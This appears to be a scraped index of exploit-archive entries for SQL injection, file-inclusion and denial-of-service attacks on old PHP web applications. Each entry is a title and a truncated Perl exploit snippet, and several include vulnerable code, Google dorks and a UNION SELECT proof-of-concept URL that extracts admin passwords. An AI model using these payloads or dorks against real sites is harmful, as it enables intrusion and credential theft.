faqengine-sql.txt

!/usr/bin/perl -w FAQEngine = v4.16.03 SQL Injection Exploit Discovered by: Silentz Payload: Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code question.php: $sql = "select from ".$tableprefix."questions where publish=1 and questionref=$questionref order by enterdate...

TaskDriver 1.2 - Authentication Bypass SQL Injection

TaskDriver 1.2 - Authentication Bypass SQL Injection !/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHER...

TaskDriver 1.2 - Authentication Bypass / SQL Injection

!/usr/bin/perl -w TaskDriver = 1.2 Login Bypass/SQL Injection Exploit Discovered by: Silentz Payload: Login Bypass & Admin Username & Hash Retrieval Website: http://www.w4ck1ng.com Vulnerable Code login.php: $sql = "SELECT FROM $userstable WHERE username = '$POSTusername' AND password =...

TutorialCMS <= 1.00 (search.php search) SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================= TutorialCMS alert'http://www.w4ck1ng.com' PoC: http://victim.com/search.php?search=' UNION SELECT 0,0,0,0,username, password,0,0,0,0,0,0,0 FROM users WHERE id='1' / Subject To:...

phphtmllib-rfi.txt

!/usr/bin/perl use LWP::UserAgent; / + - AYYILDIZ TEAM // AYYILDIZ.ORG + + + - PHPHtmlLib mynetcom - - info: / Siz Yokken AYYILDIZ Vardi / + + + - tnx: h0tturk,Ekin0x,Gencnesil,Gencturk,Ajann And AYYILDIZ.ORG - - h0tturk.com, expw0rm.com, turkistiklal.com, evilc0der.com ! + + usage: perl exploit....

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion

PHPSecurityAdmin 4.0.2 - Logout.php Remote File Inclusion source: https://www.securityfocus.com/bid/23801/info PHPSecurityAdmin is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input. Exploiting this issue may allow an attacker to compromise...

MyBulletinBoard &lt;= 1.2.5 Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard = 1.2.5 Remote SQL Injection Exploit \n"; print " Bug found and Exploit coded by 0x86 \n"; print " &nbsp...

MyBulletinBoard (MyBB) 1.2.5 - 'calendar.php' Blind SQL Injection

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 print " \n"; print " \n"; print " MyBulletinBoard \n"; print " Example: perl mybb.pl www.host.com /mybb/ -u 5 \n"; print " \n"; print " Options: \n"; print " -u User-ID, default: 1 \n"; print " -p Proxy support \n"; print " \n"; exit;...

ivan-rfi.txt

!/usr/bin/perl Ivan Gallery Script V.0.1 index.php Remote File Include Exploit Coded by SekoMirza & HypNosis Usage: exploit.pl target cmd shell shell variable Greetings: Sh4dowM4n , PhanTOmOrhcid , Starhack.0rg , CaRaMeL , MBrain! , and all Turkishz Hackerzz Vulnerable Code:...

nmdeluxe-lfi.txt

Perl BeyazKurt [email protected] NMDeluxe 1.0.1 template Local File Inclusion Exploit D0rk : "powered by NMDeluxe" dorka gerenk yok ama nese :p Dün trojen yedim a.q ! baka türlü yapamaz zate lamerler Download : http://wsdeluxe.com/nmdeluxe/downloads.html Your Name & Site URL :p Coded by elden...

NMDeluxe 1.0.1 - footer.php?template Local File Inclusion

NMDeluxe 1.0.1 - footer.php?template Local File Inclusion Perl BeyazKurt [email protected] NMDeluxe 1.0.1 template Local File Inclusion Exploit D0rk : "powered by NMDeluxe" dorka gerenk yok ama nese :p Dün trojen yedim a.q ! baÅŸka türlü yapamaz zate lamerler Download :...

mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion

mxBB Module MX Shotcast 1.0 RC2 - getinfo1.php Remote File Inclusion !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code:...

mxBB Module MX Shotcast 1.0 RC2 (getinfo1.php) RFI Exploit

No description provided by source. !/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx;...

mxBB Module MX Shotcast 1.0 RC2 - 'getinfo1.php' Remote File Inclusion

!/usr/bin/perl mxBB Module MX Shotcast 1.0 RC2 getinfo1.php Remote File Include Exploit Coded by bd0rk || SOH-Crew Usage: exploit.pl target cmd shell shell variable Greetings: str0ke, TheJT, DarkFig Vulnerable Code: includeonce$mxrootpath . 'common.'.$phpEx; Vendor:...

ScarNews 1.2.1 (sn_admin_dir) Local File Inclusion Exploit

Exploit for unknown platform in category web applications ========================================================== ScarNews 1.2.1 snadmindir Local File Inclusion Exploit ========================================================== Perl BeyazKurt ScarNews snadmindir Local File Inclusion Exploit D0...

PHP-Nuke Module eBoard 1.0.7 GLOBALS[name] LFI Exploit

Exploit for unknown platform in category web applications ====================================================== PHP-Nuke Module eBoard 1.0.7 GLOBALSname LFI Exploit ====================================================== !Perl PHP-Nuke Module eBoard 1.0.7 GLOBALSname Local File Inclusion Exploit...

ScarNews 1.2.1 - sn_admin_dir Local File Inclusion

ScarNews 1.2.1 - snadmindir Local File Inclusion Perl BeyazKurt ScarNews snadmindir Local File Inclusion Exploit D0rk : "Powered by ScarNews v1.2.1" dorka gerenk yok ama nese :p kodlad...m 2 scriptte di.er makinayla uctu : : Str0ke üzme kendini olur böle .eler : Download :...

PHP-Nuke Module eBoard 1.0.7 - GLOBALS[name] Local File Inclusion

!Perl PHP-Nuke Module eBoard 1.0.7 GLOBALSname Local File Inclusion Exploit Vendor: http://www.complex-berlin.de/modules.php?name=Downloads&dop=getit&lid=975 Coded by bd0rk || SOH-Crew Greetz: str0ke, TheJT, MereX, mymaster use IO::Socket; use LWP::Simple; ripped @apache=...

ScarNews 1.2.1 - 'sn_admin_dir' Local File Inclusion

Perl BeyazKurt ScarNews snadmindir Local File Inclusion Exploit D0rk : "Powered by ScarNews v1.2.1" dorka gerenk yok ama nese :p kodlad...m 2 scriptte di.er makinayla uctu : : Str0ke üzme kendini olur böle .eler : Download : http://www.scar4u.de/scripts/scarnews/download.html Coded by elden ele...

Wserve HTTP Server 4.6 (Long Directory Name) Denial of Service Exploit

Exploit for unknown platform in category dos / poc ====================================================================== Wserve HTTP Server 4.6 Long Directory Name Denial of Service Exploit ====================================================================== !perl Wserve HTTP Server 4.6 Versio...